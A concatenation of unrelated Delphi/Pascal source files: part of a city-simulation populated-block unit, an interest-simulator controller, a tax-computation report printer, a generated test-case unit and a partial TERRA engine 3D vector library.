Cache.WriteInteger( 'QOL', GetQOLPercent( fQOLIntegrator.Media ));
Cache.WriteInteger( 'Beauty', GetBeautyPercent( fBeautyIntegrator.Media ));
Cache.WriteInteger( 'Crime', GetCrimePercent( fCrimeIntegrator.Media ));
Cache.WriteInteger( 'Pollution', GetPollPercent( fPollutionIntegrator.Media ));
Cache.WriteString( 'RepairPrice', FormatMoney( RepairPriceShare*Facility.MetaFacility.Price ));
with TMetaPopulatedBlock(MetaBlock) do
begin
Cache.WriteInteger( 'ActualCrime', GetCrimePercent( CrimeResist*fCrimeIntegrator.Media ));
Cache.WriteInteger( 'ActualPollution', GetPollPercent( PollResist*fPollutionIntegrator.Media ));
Cache.WriteInteger( 'Efficiency', round( 100*Efficiency ));
end;
Cache.WriteInteger( 'InvBeauty', round(100*finvBeauty) );
Cache.WriteInteger( 'invCrimeRes', round(100*finvCrimeRes) );
Cache.WriteInteger( 'invPollutionRes', round(100*finvPollRes) );
Cache.WriteInteger( 'invPrivacy', round(100*finvPrivacy) );
end;
procedure TPopulatedBlock.LoadFromBackup( Reader : IBackupReader );
begin
inherited;
LoadFluidData( 'People', fPeople, Reader );
if fPeople.Q < 0
then fPeople.Q := 0;
fRent := Reader.ReadByte( 'Rent', 100 );
fMaintenance := Reader.ReadByte( 'Maintenance', 100 );
fRepair := Reader.ReadByte( 'Repair', 100 );
fRepairDate := Reader.ReadInteger( 'RepairDate', 0 ); // >>
try
vVisualClassId := GetVisualClassId;
except
asm
nop
end;
end;
end;
procedure TPopulatedBlock.StoreToBackup( Writer : IBackupWriter );
begin
inherited;
StoreFluidData( 'People', fPeople, Writer );
Writer.WriteByte( 'Rent', fRent );
Writer.WriteByte( 'Maintenance', fMaintenance );
Writer.WriteByte( 'Repair', fRepair );
Writer.WriteInteger( 'RepairDate', fRepairDate );
end;
function TPopulatedBlock.LooksUgly : boolean;
var
MPB : TMetaPopulatedBlock;
begin
MPB := TMetaPopulatedBlock(MetaBlock);
result := (Facility.Town.Timer.GetVirtualTimeAbs - fRepairDate > BrandNewEffect) and
((100*People.Q/(UpgradeLevel*MPB.Capacity) < MinOccupancy) or
(GetPollPercent( fPollutionIntegrator.Media ) > 20) or
(GetCrimePercent( fCrimeIntegrator.Media ) > 30) or
(Maintenance < 60));
end;
procedure TPopulatedBlock.InitEnvironment;
var
kd : TPeopleKind;
i : TPeopleKind;
begin
kd := TMetaPopulatedBlock(MetaBlock).fPeopleKind;
fBeautyModifier :=
TPyramidalModifier.Create(
tidEnvironment_Beauty,
Point(xOrigin, yOrigin),
MetaBlock.Beauty,
MetaBlock.BeautyStrength );
fPeopleModifier :=
TPyramidalModifier.Create(
PeopleKindPrefix[kd] + tidEnvironment_People,
Point(xOrigin, yOrigin),
fPeople.Q,
modStrengthOfPeople );
fCrimeModifier :=
TPyramidalModifier.Create(
tidEnvironment_Crime,
Point(xOrigin, yOrigin),
ComputeCrime,
modStrengthOfCrime );
fPollutionModifier :=
TPyramidalModifier.Create(
tidEnvironment_Pollution,
Point(xOrigin, yOrigin),
ComputePollution,
modStrengthOfPollution );
fBeautyIntegrator := TSurfaceIntegrator.Create( tidEnvironment_Beauty, GetArea( modBeautyRatio, amdIncludeBlock ));
fPollutionIntegrator := TSurfaceIntegrator.Create( tidEnvironment_Pollution, GetArea( modPollutionRatio, amdIncludeBlock ));
fCrimeIntegrator := TSurfaceIntegrator.Create( tidEnvironment_Crime, GetArea( modCrimeRatio, amdExcludeBlock ));
fQOLIntegrator := TSurfaceIntegrator.Create( tidEnvironment_QOL, GetArea( modQOLRatio, amdExcludeBlock ));
for i := low(i) to high(i) do
fPeopleIntegrators[i] := TSurfaceIntegrator.Create( PeopleKindPrefix[i] + tidEnvironment_People, GetArea( modPeopleRatio, amdExcludeBlock ));
end;
procedure TPopulatedBlock.CopySettingsFrom(Block : TBlock; Options : integer);
begin
if ObjectIs(ClassName, Block)
then
try
if Block.Facility.MetaFacility.FacId = Facility.MetaFacility.FacId
then
begin
if Options and cloneOption_Rent <> 0
then fRent := TPopulatedBlock(Block).Rent;
if Options and cloneOption_Maint <> 0
then fMaintenance := TPopulatedBlock(Block).Maintenance;
end;
except
Logs.Log( tidLog_Survival, DateTimeToStr(Now) + ' Error in TPopulatedBlock.CopySettingsFrom.');
end;
end;
function TPopulatedBlock.RenderCloneMenu(lang : string) : string;
var
aux : string;
begin
aux := mtidPopBlkClone.Values[lang];
if aux <> ''
then result := Format(aux, [cloneOption_Rent, cloneOption_Maint]) // FIX MLS 'Rent|%d|Maintenance|%d|'
else result := '';
end;
procedure TPopulatedBlock.Deleted;
var
i : TPeopleKind;
begin
fBeautyModifier.Delete;
fPeopleModifier.Delete;
fCrimeModifier.Delete;
fPollutionModifier.Delete;
fBeautyIntegrator.Delete;
fPollutionIntegrator.Delete;
fCrimeIntegrator.Delete;
fQOLIntegrator.Delete;
for i := low(i) to high(i) do
fPeopleIntegrators[i].Delete;
inherited;
end;
procedure TPopulatedBlock.RecalculateInventionsEffect;
var
Invention : TResidentialInvention;
i : integer;
begin
finvCrimeRes := 0;
finvPollRes := 0;
finvBeauty := 0;
finvPrivacy := 0;
finvMaint := 0;
for i := 0 to pred(MetaBlock.Inventions.Count) do
begin
Invention := TResidentialInvention(MetaBlock.Inventions[i]);
if Facility.Company.HasInvention[Invention.NumId]
then
begin
finvCrimeRes := finvCrimeRes + Invention.CrimeRes;
finvPollRes := finvPollRes + Invention.PollRes;
finvBeauty := finvBeauty + Invention.Beauty;
finvPrivacy := finvPrivacy + Invention.Privacy;
finvMaint := finvMaint + Invention.Maintenance;
end;
end;
finvCrimeRes := finvCrimeRes/100;
finvPollRes := finvPollRes/100;
finvBeauty := finvBeauty/100;
finvPrivacy := finvPrivacy/100;
finvMaint := finvMaint/100;
end;
// TResidentialInvention
constructor TResidentialInvention.Load( xmlObj : OleVariant );
var
Aux : OleVariant;
begin
inherited Load( xmlObj );
Aux := xmlObj.children.item( tidInvElement_Props, Unassigned );
fCrimeRes := GetProperty( Aux, tidInvAttr_CrimeRes );
fPollRes := GetProperty( Aux, tidInvAttr_PollRes );
fPrivacy := GetProperty( Aux, tidInvAttr_Privacy );
fBeauty := GetProperty( Aux, tidInvAttr_Beauty );
fMaintenance := GetProperty( Aux, tidInvAttr_Maintenance );
end;
function TResidentialInvention.GetClientProps(Company : TObject; LangId : TLanguageId) : string;
begin
result := inherited GetClientProps(Company, LangId);
if fBeauty <> 0
then result := result + SimHints.GetHintText(mtidInvBeauty.Values[LangId], [FormatDelta(fBeauty)]) + LineBreak;
if fMaintenance <> 0
then result := result + SimHints.GetHintText(mtidInvMaintenance.Values[LangId], [FormatDelta(fMaintenance)]) + LineBreak;
if fPrivacy <> 0
then result := result + SimHints.GetHintText(mtidInvPrivacy.Values[LangId], [FormatDelta(fPrivacy)]) + LineBreak;
if fCrimeRes <> 0
then result := result + SimHints.GetHintText(mtidInvCrimeRes.Values[LangId], [FormatDelta(fCrimeRes)]) + LineBreak;
if fPollRes <> 0
then result := result + SimHints.GetHintText(mtidInvPollRes.Values[LangId], [FormatDelta(fPollRes)]) + LineBreak;
end;
// RegisterInventionClass
procedure RegisterInventionClass;
begin
TheClassStorage.RegisterClass(
tidClassFamily_InvClasses,
tidInventionClass_Residentials,
TInventionClass.Create(TResidentialInvention));
end;
// RegisterBackup
procedure RegisterBackup;
begin
BackupInterfaces.RegisterClass( TPopulatedBlock );
end;
// RegisterTownParameters
procedure RegisterTownParameters;
var
kind : TPeopleKind;
begin
for kind := low(kind) to high(kind) do
begin
TMetaTownParameter.Create( tidTownParameter_ResMovedOut + PeopleKindPrefix[kind], '', true ).Register;
TMetaTownParameter.Create( tidTownParameter_ResRent + PeopleKindPrefix[kind], '', true ).Register;
TMetaTownParameter.Create( tidTownParameter_ResQidx + PeopleKindPrefix[kind], '', true ).Register;
TMetaTownParameter.Create( tidTownParameter_ResPop + PeopleKindPrefix[kind], '', true ).Register;
end;
end;
var
kind : TPeopleKind;
initialization
for kind := low(kind) to high(kind) do
TotalWeight[kind] :=
BeautyWeight[kind] +
QOLWeight[kind] +
CrimeWeight[kind] +
PollWeight[kind] +
MaintenanceWeight[kind] +
PriceWeight[kind] +
NeighborsWeight[kind] +
EfficiencyWeight[kind];
end.
|
unit eInterestSimulator.Controller.Resultado;
interface
uses
eInterestSimulator.Controller.Interfaces, eInterestSimulator.Model.Interfaces,
System.Generics.Collections,
eInterestSimulator.Controller.Observer.Interfaces,
eInterestSimulator.Model.Interfaces.Calculadora;
type
TControllerResultado = class(TInterfacedObject, iControllerResultado)
FSimulador: iSimulador;
FResultados: TList<iResultado>;
FCalculadora: iCalculadora;
FObserverResultado: iSubjectResultado;
private
function Simulador: iSimulador; overload;
function Simulador(Value: iSimulador): iControllerResultado; overload;
function Resultado: TList<iResultado>; overload;
function Resultado(Value: TList<iResultado>): iControllerResultado;
overload;
procedure ValidarDados;
function SimuladorFactory: iSimulador;
function Calcular: iControllerResultado;
public
constructor Create;
destructor Destroy; override;
class function New: iControllerResultado;
function ObserverResultado : iSubjectResultado;
end;
implementation
uses
eInterestSimulator.Model.Calculadora.Factory, System.SysUtils,
eInterestSimulator.Model.Simulador.Factory,
eInterestSimulator.Controller.Resultado.Observer;
{ TControllerResultado }
function TControllerResultado.Resultado(): TList<iResultado>;
begin
Result := FResultados;
end;
function TControllerResultado.Calcular: iControllerResultado;
begin
Result := Self;
ValidarDados;
case FSimulador.TipoSistema of
tpAlemao:
FCalculadora := TModelCalculadoraFactory.New.Alemao;
tpAmericano:
FCalculadora := TModelCalculadoraFactory.New.Americano;
tpAmortizacaoConstante:
FCalculadora := TModelCalculadoraFactory.New.AmortizacaoConstante;
tpAmortizacaoMisto:
FCalculadora := TModelCalculadoraFactory.New.AmortizacaoMisto;
tpPagamentoUnico:
FCalculadora := TModelCalculadoraFactory.New.PagamentoUnico;
tpPagamentoVariavel:
FCalculadora := TModelCalculadoraFactory.New.PagamentoVariavel;
tpPrice:
FCalculadora := TModelCalculadoraFactory.New.Price;
end;
FResultados := FCalculadora
.Simulador(FSimulador)
.ObserverResultado(FObserverResultado)
.Calcular
.Resultados;
end;
constructor TControllerResultado.Create;
begin
FObserverResultado := TControllerObserverResultado.New;
end;
destructor TControllerResultado.Destroy;
begin
inherited;
end;
class function TControllerResultado.New: iControllerResultado;
begin
Result := Self.Create;
end;
function TControllerResultado.ObserverResultado: iSubjectResultado;
begin
Result := FObserverResultado;
end;
function TControllerResultado.Resultado(Value: TList<iResultado>)
: iControllerResultado;
begin
Result := Self;
FResultados := Value;
end;
function TControllerResultado.Simulador(Value: iSimulador)
: iControllerResultado;
begin
Result := Self;
FSimulador := Value;
end;
function TControllerResultado.SimuladorFactory: iSimulador;
begin
Result := TModelSimuladorFactory.New.Simulador;
end;
function TControllerResultado.Simulador: iSimulador;
begin
Result := FSimulador;
end;
procedure TControllerResultado.ValidarDados;
begin
if not(FSimulador.TipoSistema in [Low(TTypeSistema) .. High(TTypeSistema)])
then
raise Exception.Create('O Sistema de amortização é obrigatório!');
if (FSimulador.Capital <= 0.0) then
raise Exception.Create('O Valor Capital é obrigatório!');
if (FSimulador.TaxaJuros <= 0.0) then
raise Exception.Create('A Taxa de Juros é obrigatória!');
if (FSimulador.TotalParcelas <= 0.0) then
raise Exception.Create('O Total de Parcelas de obrigatório!');
end;
end.
|
unit uImpressao;
interface
uses
FireDAC.Comp.Client, System.SysUtils, frxClass, Vcl.Forms, uGeraApuracao,
Vcl.Graphics;
type
TImpressao = class(Tobject)
private
vloGeraApuracao : TGeraApuracao;
FConexao : TFDConnection;
FQuery : TFDQuery;
pofrxReport : TfrxReport;
frxMemoAnoBase, frxMemoAnoCalendario, frxMemoReceitaBruta,
frxMemoDespesas, frxMemoLucroEvidenciado, frxMemoPorcentagemIsenta,
frxMemoValorIsento, frxMemoValorTributado, frxMemoValorTributadoIR,
frxMemoNecessidade, frxPorcIsenta, frxDeclaracaoTributado,
frxDeclaracaoIsento : TfrxMemoView;
frxChild : TfrxChild;
FImp_Ano: String;
procedure VinculaComponentes;
procedure SetImp_Ano(const Value: String);
public
constructor Create(poConexao : TFDConnection);
destructor Destroy; override;
procedure pcdImpressaoApuracao;
published
property Imp_Ano: String read FImp_Ano write SetImp_Ano;
end;
implementation
{ TImpressao }
constructor TImpressao.Create(poConexao: TFDConnection);
begin
FConexao := poConexao;
FQuery := TFDQuery.Create(nil);
FQuery.Connection := FConexao;
FQuery.Close;
pofrxReport := TfrxReport.Create(nil);
vloGeraApuracao := TGeraApuracao.Create(FConexao);
end;
destructor TImpressao.Destroy;
begin
if Assigned(FQuery) then
FreeAndNil(FQuery);
if Assigned(pofrxReport) then
FreeAndNil(pofrxReport);
if Assigned(vloGeraApuracao) then
FreeAndNil(vloGeraApuracao);
inherited;
end;
procedure TImpressao.pcdImpressaoApuracao;
begin
if FileExists(ExtractFilePath(Application.ExeName) + 'Relatorios\rel_Apuracao.fr3') then
begin
pofrxReport.LoadFromFile(ExtractFilePath(Application.ExeName) + 'Relatorios\rel_Apuracao.fr3');
VinculaComponentes;
vloGeraApuracao.pcdRetornaValoresApuracaoANO(FImp_Ano);
frxMemoAnoBase.Memo.Add(vloGeraApuracao.poRetornoApuracao.vlsAPUR_ANO);
frxMemoAnoCalendario.Memo.Add(FormatFloat('0000', StrToInt(vloGeraApuracao.poRetornoApuracao.vlsAPUR_ANO) + 1));
frxMemoReceitaBruta.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_RECEITABRUTA));
frxMemoDespesas.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_DESPESAS));
frxMemoLucroEvidenciado.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_LUCROEVIDENCIADO));
frxMemoPorcentagemIsenta.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_PORCENTAGEMISENTA));
frxMemoValorIsento.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_VALORISENTO));
frxMemoValorTributado.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_VALORTRIBUTADO));
frxMemoValorTributadoIR.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_VALORDECLARARIR));
if vloGeraApuracao.poRetornoApuracao.vldAPUR_PORCENTAGEMISENTA = 8 then
frxPorcIsenta.Memo.Add('Porcentagem Isenta (Comércio, Indústria e Transporte de Carga) (%):')
else if vloGeraApuracao.poRetornoApuracao.vldAPUR_PORCENTAGEMISENTA = 16 then
frxPorcIsenta.Memo.Add('Porcentagem Isenta (Transporte de Passageiros) (%):')
else if vloGeraApuracao.poRetornoApuracao.vldAPUR_PORCENTAGEMISENTA = 32 then
frxPorcIsenta.Memo.Add('Porcentagem Isenta (Serviços Gerais) (%):')
else
frxPorcIsenta.Memo.Add('Porcentagem Isenta (%):');
if Trim(vloGeraApuracao.poRetornoApuracao.vlsAPUR_DECLARA) = 'True' then
begin
frxMemoNecessidade.Memo.Add('Há necessidade de declaração de Imposto de Renda');
frxMemoNecessidade.Font.Color := clRed;
frxChild.Visible := True;
frxDeclaracaoTributado.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_VALORTRIBUTADO));
frxDeclaracaoIsento.Memo.Add(FormatFloat(',0.00', vloGeraApuracao.poRetornoApuracao.vldAPUR_VALORISENTO));
end
else
begin
frxMemoNecessidade.Memo.Add('Não há necessidade de declaração de Imposto de Renda');
frxMemoNecessidade.Font.Color := clBlack;
frxChild.Visible := False;
end;
pofrxReport.ShowReport(True);
end
else
Application.MessageBox(PChar('Relatório rel_Apuracao.fr3 não localizado na pasta: ' + ExtractFilePath(Application.ExeName) + 'Relatorios'), 'Despesas', 0);
end;
procedure TImpressao.SetImp_Ano(const Value: String);
begin
FImp_Ano := Value;
end;
procedure TImpressao.VinculaComponentes;
begin
frxMemoAnoBase := TfrxMemoView(pofrxReport.FindObject('MAnoBase'));
frxMemoAnoCalendario := TfrxMemoView(pofrxReport.FindObject('MAnoCalendario'));
frxMemoReceitaBruta := TfrxMemoView(pofrxReport.FindObject('MReceitaBruta'));
frxMemoDespesas := TfrxMemoView(pofrxReport.FindObject('MDespesas'));
frxMemoLucroEvidenciado := TfrxMemoView(pofrxReport.FindObject('MLucroEvidenciado'));
frxMemoPorcentagemIsenta := TfrxMemoView(pofrxReport.FindObject('MPorcentagemIsenta'));
frxMemoValorIsento := TfrxMemoView(pofrxReport.FindObject('MValorIsento'));
frxMemoValorTributado := TfrxMemoView(pofrxReport.FindObject('MValorTributado'));
frxMemoValorTributadoIR := TfrxMemoView(pofrxReport.FindObject('MValorTributadoIR'));
frxMemoNecessidade := TfrxMemoView(pofrxReport.FindObject('MNecessidade'));
frxPorcIsenta := TfrxMemoView(pofrxReport.FindObject('MPorcIsenta'));
frxDeclaracaoTributado := TfrxMemoView(pofrxReport.FindObject('MDeclaracaoTributado'));
frxDeclaracaoIsento := TfrxMemoView(pofrxReport.FindObject('MDeclaracaoIsento'));
frxChild := TfrxChild(pofrxReport.FindObject('Child1'));
frxMemoAnoBase.Memo.Clear;
frxMemoAnoCalendario.Memo.Clear;
frxMemoReceitaBruta.Memo.Clear;
frxMemoDespesas.Memo.Clear;
frxMemoLucroEvidenciado.Memo.Clear;
frxMemoPorcentagemIsenta.Memo.Clear;
frxMemoValorIsento.Memo.Clear;
frxMemoValorTributado.Memo.Clear;
frxMemoValorTributadoIR.Memo.Clear;
frxMemoNecessidade.Memo.Clear;
frxPorcIsenta.Memo.Clear;
frxDeclaracaoTributado.Memo.Clear;
frxDeclaracaoIsento.Memo.Clear;
end;
end.
|
unit K620241155_HK9900295;
{* [RequestLink:620241155] }
// Модуль: "w:\common\components\rtl\Garant\Daily\K620241155_HK9900295.pas"
// Стереотип: "TestCase"
// Элемент модели: "K620241155_HK9900295" MUID: (56F13568025C)
// Имя типа: "TK620241155_HK9900295"
{$Include w:\common\components\rtl\Garant\Daily\TestDefine.inc.pas}
interface
{$If Defined(nsTest) AND NOT Defined(NoScripts)}
uses
l3IntfUses
, EVDtoBothNSRCWriterTest
;
type
TK620241155_HK9900295 = class(TEVDtoBothNSRCWriterTest)
{* [RequestLink:620241155] }
protected
function GetFolder: AnsiString; override;
{* Папка в которую входит тест }
function GetModelElementGUID: AnsiString; override;
{* Идентификатор элемента модели, который описывает тест }
end;//TK620241155_HK9900295
{$IfEnd} // Defined(nsTest) AND NOT Defined(NoScripts)
implementation
{$If Defined(nsTest) AND NOT Defined(NoScripts)}
uses
l3ImplUses
, TestFrameWork
//#UC START# *56F13568025Cimpl_uses*
//#UC END# *56F13568025Cimpl_uses*
;
function TK620241155_HK9900295.GetFolder: AnsiString;
{* Папка в которую входит тест }
begin
Result := 'CrossSegments';
end;//TK620241155_HK9900295.GetFolder
function TK620241155_HK9900295.GetModelElementGUID: AnsiString;
{* Идентификатор элемента модели, который описывает тест }
begin
Result := '56F13568025C';
end;//TK620241155_HK9900295.GetModelElementGUID
initialization
TestFramework.RegisterTest(TK620241155_HK9900295.Suite);
{$IfEnd} // Defined(nsTest) AND NOT Defined(NoScripts)
end.
|
{***********************************************************************************************************************
*
* TERRA Game Engine
* ==========================================
*
* Copyright (C) 2003, 2014 by SÚrgio Flores (relfos@gmail.com)
*
***********************************************************************************************************************
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
**********************************************************************************************************************
* TERRA_Vector3D
* Implements a vector 3d class
***********************************************************************************************************************
}
{$IFDEF OXYGENE}
namespace TERRA;
{$ELSE}
{$I terra.inc}
Unit TERRA_Vector3D;
{$ENDIF}
Interface
Uses TERRA_Math;
Type
{$IFDEF OXYGENE}
Vector3D = Class
{$ELSE}
PVector3D = ^Vector3D;
Vector3D = Packed {$IFDEF USE_OLD_OBJECTS}Object{$ELSE}Record{$ENDIF}
{$ENDIF}
X:Single;
Y:Single;
Z:Single;
{$IFDEF OXYGENE}
Constructor Create(X,Y,Z:Single);
{$ENDIF}
Function Equals(Const B:Vector3D):Boolean;
Function Dot(Const B:Vector3D):Single;
Procedure Add(Const B:Vector3D);
Procedure Subtract(Const B:Vector3D);
Procedure Scale(Const S:Single); Overload;
Procedure Scale(Const B:Vector3D); Overload;
Function Get(Index:Integer):Single;
Procedure SetValue(Index:Integer; Value:Single);
// Normalizes the vector
Procedure Normalize;
Function Length:Single;
Function LengthSquared:Single;
Function Distance(Const N:Vector3D):Single;
Function DistanceSquared(Const N:Vector3D):Single;
Function Distance2D(Const N:Vector3D):Single;
{$IFDEF BENCHMARK}
Procedure NormalizeSSE;
Function LengthSSE:Single;
Function DistanceSSE(Const N:Vector3D):Single;
{$ENDIF}
Procedure Rotate(Const Axis:Vector3D; Const Angle:Single);
End;
Const
// Vector constants
{$IFDEF OXYGENE}
VectorZero: Vector3D = new Vector3D(0.0, 0.0, 0.0);
VectorOne: Vector3D = new Vector3D(1.0, 1.0, 1.0);
VectorUp: Vector3D = new Vector3D(0.0, 1.0, 0.0);
{$ELSE}
VectorZero: Vector3D = (X:0.0; Y:0.0; Z:0.0);
VectorOne: Vector3D = (X:1.0; Y:1.0; Z:1.0);
VectorUp: Vector3D = (X:0.0; Y:1.0; Z:0.0);
{$ENDIF}
// Vector functions
Function VectorCreate(Const X,Y,Z:Single):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorConstant(Const N:Single):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorMax(Const A,B:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorMin(Const A,B:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorAdd(Const A,B:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorSubtract(Const A,B:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorMultiply(Const A,B:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorCross(Const A,B:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
// Returns the dot product between two vectors
Function VectorDot(Const A,B:Vector3D):Single; {$IFDEF FPC}Inline;{$ENDIF}
// Scales a vector by S
Function VectorScale(Const A:Vector3D; S:Single):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
// Reflect two vectors
Function VectorReflect(Const Source,Normal:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Function VectorInterpolate(Const A,B:Vector3D; Const S:Single):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
// Halve arc between unit vectors v0 and v1.
Function VectorBisect(Const A,B:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
Procedure VectorOrthoNormalize(Var A,B:Vector3D); {$IFDEF FPC}Inline;{$ENDIF}
// Returns a triangle normal
Function TriangleNormal(Const V0,V1,V2:Vector3D):Vector3D; {$IFDEF FPC}Inline;{$ENDIF}
// Quad functions
Function GetTriangleHeight(H0,H1,H2:Single; X,Y:Single):Single; {$IFNDEF OXYGENE} Overload; {$ENDIF}
Function GetTriangleHeight(H0,H1,H2:Single; X,Y:Single; Var Normal:Vector3D):Single; {$IFNDEF OXYGENE} Overload; {$ENDIF}
Implementation
{$IFDEF NEON_FPU}Uses TERRA_NEON;{$ENDIF}
Function Vector3D.Get(Index:Integer):Single;
Begin
Case Index Of
0: Result := X;
1: Result := Y;
2: Result := Z;
Else
Result := 0;
End;
End;
Procedure Vector3D.SetValue(Index:Integer; Value:Single);
Begin
Case Index Of
0: X := Value;
1: Y := Value;
2: Z := Value;
End;
End;
Function VectorCreate(Const X,Y,Z:Single):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
Result.X := X;
Result.Y := Y;
Result.Z := Z;
End;
Function VectorConstant(Const N:Single):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
Result.X := N;
Result.Y := N;
Result.Z := N;
End;
Function Vector3D.Equals(Const B:Vector3D):Boolean; {$IFDEF FPC} Inline;{$ENDIF}
Begin
Result := (Self.X=B.X) And (Self.Y=B.Y) And(Self.Z=B.Z);
End;
Function VectorMax(Const A,B:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
If A.X>B.X Then Result.X:=A.X Else Result.X:=B.X;
If A.Y>B.Y Then Result.Y:=A.Y Else Result.Y:=B.Y;
If A.Z>B.Z Then Result.Z:=A.Z Else Result.Z:=B.Z;
End;
Function VectorMin(Const A,B:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
If A.X<B.X Then Result.X:=A.X Else Result.X:=B.X;
If A.Y<B.Y Then Result.Y:=A.Y Else Result.Y:=B.Y;
If A.Z<B.Z Then Result.Z:=A.Z Else Result.Z:=B.Z;
End;
Procedure Vector3D.Rotate(Const Axis:Vector3D; Const Angle:Single); {$IFDEF FPC} Inline;{$ENDIF}
Var
SX,SY,SZ:Single;
C,S:Single;
Begin
C := Cos(angle);
S := Sin(angle);
SX := X;
SY := Y;
SZ := Z;
X := (Axis.x*Axis.x*(1-c) + c) * Sx + (Axis.x*Axis.y*(1-c) - Axis.z*s) * Sy + (Axis.x*Axis.z*(1-c) + Axis.y*s) * Sz;
Y := (Axis.y*Axis.x*(1-c) + Axis.z*s) * Sx + (Axis.y*Axis.y*(1-c) + c) * Sy + (Axis.y*Axis.z*(1-c) - Axis.x*s) * Sz;
Z := (Axis.x*Axis.z*(1-c) - Axis.y*s) * Sx + (Axis.y*Axis.z*(1-c) + Axis.x*s) * Sy + (Axis.z*Axis.z*(1-c) + c) * Sz;
End;
Procedure Vector3D.Add(Const B:Vector3D); {$IFDEF FPC} Inline; {$ENDIF}
Begin
X := X + B.X;
Y := Y + B.Y;
Z := Z + B.Z;
End;
Procedure Vector3D.Subtract(Const B:Vector3D); {$IFDEF FPC} Inline;{$ENDIF}
Begin
X := X - B.X;
Y := Y - B.Y;
Z := Z - B.Z;
End;
Procedure Vector3D.Scale(Const S:Single); {$IFDEF FPC} Inline;{$ENDIF}
Begin
X := X * S;
Y := Y * S;
Z := Z * S;
End;
Procedure Vector3D.Scale(Const B:Vector3D); {$IFDEF FPC} Inline;{$ENDIF}
Begin
X := X * B.X;
Y := Y * B.Y;
Z := Z * B.Z;
End;
Function Vector3D.Dot(Const B:Vector3D):Single; {$IFDEF FPC} Inline;{$ENDIF}
Begin
{$IFDEF NEON_FPU}
Result := dot3_neon_hfp(@Self,@B);
{$ELSE}
Result := (X*B.X)+(Y*B.Y)+(Z*B.Z);
{$ENDIF}
End;
Function VectorDot(Const A,B:Vector3D):Single; {$IFDEF FPC} Inline;{$ENDIF}
Begin
{$IFDEF NEON_FPU}
Result := dot3_neon_hfp(@A,@B);
{$ELSE}
Result := (A.X*B.X)+(A.Y*B.Y)+(A.Z*B.Z);
{$ENDIF}
End;
// R = 2 * ( N dot V ) * V - V
// R = V - 2 * ( N dot V ) * V
Function VectorReflect(Const Source,Normal:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Var
N:Single;
Begin
N := VectorDot(Normal,Source) * 2;
Result := VectorScale(Source, N);
Result := VectorSubtract(Source,Result);
End;
Procedure VectorOrthoNormalize(Var A,B:Vector3D); {$IFDEF FPC}Inline;{$ENDIF}
Var
proj:Vector3D;
Begin
A.Normalize();
proj := VectorScale(A, VectorDot(B, A));
B.Subtract(proj);
B.Normalize();
End;
Function VectorCross(Const A,B:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
{$IFDEF NEON_FPU}
cross3_neon(@A, @B, @Result);
{$ELSE}
With Result Do
Begin
X := A.Y*B.Z - A.Z*B.Y;
Y := A.Z*B.X - A.X*B.Z;
Z := A.X*B.Y - A.Y*B.X;
End;
{$ENDIF}
End;
Function VectorSubtract(Const A,B:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
With Result Do
Begin
X:=A.X-B.X;
Y:=A.Y-B.Y;
Z:=A.Z-B.Z;
End;
End;
Function VectorScale(Const A:Vector3D; S:Single):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
With Result Do
Begin
X := A.X* S;
Y := A.Y* S;
Z := A.Z* S;
End;
End;
Function VectorAdd(Const A,B:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
With Result Do
Begin
X:=(A.X+B.X);
Y:=(A.Y+B.Y);
Z:=(A.Z+B.Z);
End;
End;
Function VectorMultiply(Const A,B:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
With Result Do
Begin
X:=(A.X*B.X);
Y:=(A.Y*B.Y);
Z:=(A.Z*B.Z);
End;
End;
Function VectorInterpolate(Const A,B:Vector3D; Const S:Single):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Begin
With Result Do
Begin
X := (B.X*S)+(A.X*(1-S));
Y := (B.Y*S)+(A.Y*(1-S));
Z := (B.Z*S)+(A.Z*(1-S));
End;
End;
Function VectorBisect(Const A,B:Vector3D):Vector3D; {$IFDEF FPC} Inline;{$ENDIF}
Var
Len:Single;
Begin
Result := VectorAdd(A,B);
Len := Result.Length;
If (Len<Epsilon) Then
Result := VectorZero
Else
Result := VectorScale(Result, 1.0 / Len);
End;
